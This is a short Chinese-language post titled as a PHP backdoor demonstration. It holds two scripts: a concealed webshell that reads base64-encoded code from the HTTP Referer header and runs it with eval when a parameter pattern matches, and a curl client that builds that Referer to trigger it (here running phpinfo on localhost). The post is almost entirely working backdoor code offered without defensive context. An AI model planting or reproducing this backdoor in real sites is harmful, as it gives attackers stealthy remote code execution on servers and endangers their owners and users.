php后门程序演示

1. [代码][PHP]代码 

<?php
//1.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
parse_str($_SERVER[&#39;HTTP_REFERER&#39;], $a);
if(reset($a) == &#39;10&#39; && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

2. [代码][PHP]代码    

<?php
//2.php
header(&#39;Content-type:text/html;charset=utf-8&#39;);
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = &#39;http://localhost/test1/1.php&#39;;
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

3. [图片] QQ截图20130509103236.jpg